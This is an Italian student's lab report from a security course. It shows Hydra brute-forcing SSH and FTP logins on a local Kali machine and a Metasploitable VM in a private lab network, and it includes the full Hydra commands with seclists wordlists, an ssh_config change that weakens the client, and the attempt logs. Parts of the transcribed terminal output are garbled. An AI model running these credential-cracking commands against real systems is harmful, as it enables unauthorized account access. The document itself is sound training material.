# **Authentication cracking con Hydra**

# Traccia:

L'esercizio di oggi ha un duplice scopo:

- -Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete.
- -Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

Ricordate che la configurazione dei servizi è essa stessa parte dell'esercizio.

L'esercizio si svilupperà in due fasi:

- -Una prima fase dove insieme vedremo l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra.
- -Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

## Per iniziare:

Con la macchina Kali collegata ad internet utilizzo i comandi sudo apt-get install seclists sudo apt-get install vsftpd per installare seclists (utile per scaricare le liste di username e password) e il servizio ftp.

## Verifico la struttura di seclists

```
[sudo] password for kali:

[sudo] password for kali:

Reading package lists... Done

Building dependency tree... Done

Building dependency tree... Done

Reading state information... Done

The following packages were automatically installed and are no longer required:

gcc-12-base libarmadilo11 libcanberra-gtk-module libcanberra-gtk0 libcbor0.8 libcurl3-nss libgcc-12-dev libgdal33 libgeos3.12.0 libgumbo1 libgunpn-igd-1.0-4 libjim0.81 libnfs13 libobjc-12-dev libstdc+12-dev libtexluajit2 libutifsproc2 lua-lpeg nss--plugin-pem python3-aioredis python3-apscheduler python3-jdcal python3-pyminifier python3-quamash python3-tzlocal

Use 'sudo apt autoremove' to remove them.

The following NEW packages will be installed:

seclists

0 upgraded, 1 newly installed, 0 to remove and 11 not upgraded.

Need to get 466 MB of archives.

After this operation, 1868 MB of additional disk space will be used.

Get:1 http://kali.domonload/kali kali-rolling/main amd64 seclists all 2023.4-0kali1 [464 MB]

Fetched 466 MB in 12s (39.4 MB/s)

Selecting previously unselected package seclists.

(Reading database ... 408357 files and directories currently installed.)

Preparing to unpack .../seclists.2023.4-0kali1 all.deb ...

Unpacking seclists (2023.4-0kali1) ...

Processing triggers for kali-menu (2023.4.6) ...

Processing triggers for wordlists (2023.4.0) ...

Processing triggers for wordlists (2023.4.2) ...

(kali@ Most-010)-[/usr/share/seclists]

> seclists

> seclists

- Discovery

Fuzzing

IOCS

Miscellaneous

Patsen-Matching

Payloads

Usarnames

Web-Shells
```

# Verifico la versione del servizio ftp

```
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
The following packages were automatically installed and are no longer required:
gcc-12-base libarmadillo11 libcanberra-gtk-module libcanberra-gtk0 libcbor0.8 libcurl3-nss libgcc-12-dev libgdal33 libgeos3.12.0 libgumbo1 libgupnp-igd-1.0-4 libjim0.81 libnfs13 libobjc-12-dev libtexluajit2 libutf8proc2 lua-lpeg nss-plugin-pem python3-aioredis python3-apscheduler python3-jdcal python3-pyminifier python3-quamash python3-tzlocal
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
vsftpd
0 upgraded, 1 newly installed, 0 to remove and 11 not upgraded.
Need to get 142 kB of archives.
After this operation, 351 kB of additional disk space will be used.
Get:1 http://http.kall.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b2 [142 kB]
Fetched 142 kB in 0s (312 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 413985 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b2_amd64.deb ...
Unpacking vsftpd (3.0.3-13-b2) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.12.0-1) ...
Processing triggers for kali-menu (2023.4.6) ...

(kali@ host-010)-[~]

$\square$ vsftpd vvsftpd \text{ vsftpd} - v
```

Creo un nuovo utente test\_user su Kali. Per velocizzare il lavoro di Hydra tuttavia ho creato un altro utente info con password 1234, uno dei primi abbinamenti testati da Hydra.

```
(route Most-010)-[/home/kali]

adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory '/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

### SSH

Avvio il servizio ssh e testo la connessione della nuova utenza sul servizio

```
(root@ Most-010)-[/home/kali]
| service ssh start

| (kali@ Host-010)-[~]
| $ ssh info@192.168.50.100
| info@192.168.50.100's password:
| Linux Host-010 6.5.0-kalio-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) x86_64

| The programs included with the Kali GNU/Linux system are free software;
| the exact distribution terms for each program are described in the
| individual files in /usr/share/doc/*/copyright.

| Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
| permitted by applicable law.
| (info@ Host-010)-[~]
| $ | |
```

Verifico che il servizio ssh sia attivo facendo una scansione con NMAP

```
(kali⊕ Host-010)-[~]

$ sudo nmap -s5 192.168.50.100
[sudo] password for kali:
Starting Nmap 7.94SVN (https://nmap.org ) at 2024-01-11 11:20 CET
Nmap scan report for 192.168.50.100
Host is up (0.0000040s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in 13.11 seconds
```

Eseguo Hydra con il seguente comando sfruttando le liste di username e password di seclists hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.100 -t4 ssh - V

In verde le corrette credenziali trovate

#### FTP

Avvio il servizio FTP su Kali e faccio partire a seguire una scansione NMAP per verificare che il servizio sia stato effettivamente attivato. Successivamente testo la connessione della nuova utenza sul servizio.

```
(runt@ Host=010)-[/home/kali]

| service vsftpd start

| (kali@ Host=010)-[~]
| sudo nmap -ss 192.168.50.100
| [sudo] password for kali:
| Starting Nmap 7.945VN (https://nmap.org ) at 2024-01-11 11:49 CET
| Nmap scan report for 192.168.50.100
| Host is up (0.00000408 latency).
| Not shown: 998 closed tcp ports (reset)
| PORT STATE SERVICE
| 21/tcp open ftp
| 22/tcp open ssh
| Nmap done: 1 IP address (1 host up) scanned in 13.12 seconds

| (kali@ Host=010)-[~]
| ftp info@192.168.50.100
| Connected to 192.168.50.100
| Connected to 192.168.50.100.
| 220 (vsFTPd 3.0.3)
| 331 Please specify the password.
| Password:
| 230 Login successful.
| Remote system type is UNIX.
| Using binary mode to transfer files.
| ftp>
```

Eseguo Hydra con il seguente comando sfruttando le liste di username e password di seclists hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.100 -t4 ftp -

# In verde le corrette credenziali trovate

# BONUS accesso ai servizi SSH/FTP di Meta

Creo un file metaUser.txt e un file metaPassword.txt in cui inserisco le credenziali per l'utente msfadmin.

Verifico tramite scansione NMAP che i servizi siano attivi

```
(kali@ Host-010)-[~]

sudo mmap -sS 192.168.50.101

[sudo] password for kali:

Starting Nmap 7.945VN ( https://nmap.org ) at 2024-01-11 14:17 CET

Nmap scan report for 192.168.50.101

Host is up (0.00068s latency).

Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open domain

80/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp filtered metbios-ssn

445/tcp filtered microsoft-ds

512/tcp open shell

1099/tcp open shell

1099/tcp open miregistry

1524/tcp filtered ingreslock

2049/tcp open coproxy-ftp
```

# Accesso al servizio SSH di Meta

```
\[ \lambda{\text{salis} \text{Host-ol0}-[~] \\ \frac{\sqrt{sh}}{\sqrt{sh}} \text{ssh} \text{msfadminal92.168.50.101} \]
Unable to negotiate with 192.168.50.101 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-ds s

\[ \lambda{\text{kalis} \text{Host-ol0}-[~] \\ \frac{\sqrt{sudo}}{\sqrt{sudo}} \text{nano} \text{/etc/ssh/ssh_config} \]

\[ \lambda{\text{kalis} \text{Host-ol0}-[~] \\ \frac{\sqrt{sh}}{\sqrt{sh}} \text{ssh} \text{msfadminal92.168.50.101} \]

The authenticity of host '192.168.50.101 (192.168.50.101)' can't be established. RSA key fingerprint is ShAz56:BQHmbEoHX9GciOLuVscegPXLQOsuPs+E9d/rrJB84rk. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.50.101' (RSA) to the list of known hosts. msfadminal92.168.50.101's password: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. Last login: Thu Jan 11 06:05:24 2024 msfadmin@metasploitable:-$ \begin{array}{c} \text{ msfadmin@metasploitable:-$ \begin{array}{c} \text{
```

Inizialmente non era possbile verificare il corretto accesso dell'utenza msfadmin. Quindi sono andata a modificare l'ssh\_config inserendo le ultime due righe:

```
GNU nano 7.2 /etc/ssh/ssh_config *

ForwardXil no
GSSAPIGUT no
GSSAPIGUT no
GSSAPIGUT no
GSSAPIGUT no
GSSAPIGUT no
BatchMode no
CheckHostIP no
AddressFamily any
ConnectTimeout 0
StrictHostKeyChecking ask
IdentityFile -/.ssh/id_cds
IdentityFile -/.ssh/id_eds
IdentityFile -/.ssh/id_eds
IdentityFile -/.ssh/id_ed25519
Port 22
Ciphers aes128-ctr,aes192-ctr,aes128-cbc,3des-cbc
MACS hmac-md5,hmac-shal,umac-64@openssh.com
EscapeChar -
Tunnel no
Tunnel no
Tunnel no
Tunnel no
ForwardXil no
WhisualHostKey no
PermittocalCommand no
VisualHostKey no
PermittocalCommand ssh -q -W %h:%p gateway.example.com
RekeyLimit 16 1h
UserKnownHostsFile -/.ssh/known_hosts.d/%k
SendEnv LANG U.*
HashKnownHosts yes
GSSAPIAuthentication yes
HostKeyAlgorithms +ssh-rsa,ssh-dss
PubKeyAcceptedKeyTypes +ssh-rsa,ssh-dss
```

Procedendo con il cracking delle credenziali utilizzando Hydra ho riscontrato il seguente errore di compatibilità:

```
(kali@Host-010)=[~]
$ hydra -L metaUser.txt -P metaPassword.txt 192.168.50.101 -t4 ssh -V

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service orga nizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 14:17:16
[DATA] max 4 tasks per 1 server, overall 4 tasks, 9 login tries (l:3/p:3), ~3 tries per task
[DATA] attacking ssh://192.168.50.101:22/
[ERROR] could not connect to ssh://192.168.50.101:22 - kex error : no match for method server host key algo: server [ssh-rsa,ssh-dss], client [rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp3 84,ecdsa-sha2-nistp256,sk-ssh-ed25519@openssh.com,sk-ecdsa-sha2-nistp256@openssh.com]
```

Ho risolto eseguendo il comando *kali-tweaks -h,* selezionando *SSH Client* sul pop-up che si apre nella sezione delle "*Hardening settings*".

Come si nota il comando per eseguire Hydra è quasi identico a quello precedentemente utlizzato per Kali.

In verde le corrette credenziali trovate.

# Accesso al servizio FTP di Meta

Verifico il corretto accesso dell'utenza msfadmin:

```
(kali⊕ Host-010)-[~]

$ ftp msfadmin@192.168.50.101

Connected to 192.168.50.101.
220 (vsFTPd 2.3.4)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

### The control of the
```

Procedo con il cracking delle credenziali utilizzando Hydra.

Come si nota il comando per eseguire Hydra è quasi identico a quello precedentemente utlizzato per Kali.

```
(kali@ Host-010)-[~]

$ hydra -L metaUser.txt -P metaPassword.txt 192.168.50.101 -t4 ftp -V

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service orga nizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 12:11:03

[DATA] max 4 tasks per 1 server, overall 4 tasks, 9 login tries (l:3/p:3), ~3 tries per task

[DATA] attacking ftp://l92.168.50.101:21/

[ATTEMPT] target 192.168.50.101 - login "prova4" - pass "prova1" - 1 of 9 [child 0] (0/0)

[ATTEMPT] target 192.168.50.101 - login "prova4" - pass "msfadmin" - 2 of 9 [child 1] (0/0)

[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "prova2" - 3 of 9 [child 2] (0/0)

[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "prova2" - 4 of 9 [child 3] (0/0)

[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 5 of 9 [child 2] (0/0)

[ATTEMPT] target 192.168.50.101 - login "prova6" - pass "prova2" - 6 of 9 [child 2] (0/0)

[ATTEMPT] target 192.168.50.101 - login "prova6" - pass "prova1" - 7 of 9 [child 3] (0/0)

[ATTEMPT] target 192.168.50.101 - login "prova6" - pass "msfadmin" - 8 of 9 [child 3] (0/0)

[ATTEMPT] target 192.168.50.101 - login "prova6" - pass "msfadmin" - 8 of 9 [child 3] (0/0)

[ATTEMPT] target 192.168.50.101 - login "prova6" - pass "msfadmin" - 8 of 9 [child 3] (0/0)

[ATTEMPT] target 192.168.50.101 - login "prova6" - pass "prova1" - 7 of 9 [child 0] (0/0)

[ATTEMPT] target 192.168.50.101 - login "prova6" - pass "prova2" - 9 of 9 [child 0] (0/0)

[ATTEMPT] target 192.168.50.101 - login "prova6" - pass "prova2" - 9 of 9 [child 0] (0/0)
```

In verde le corrette credenziali trovate.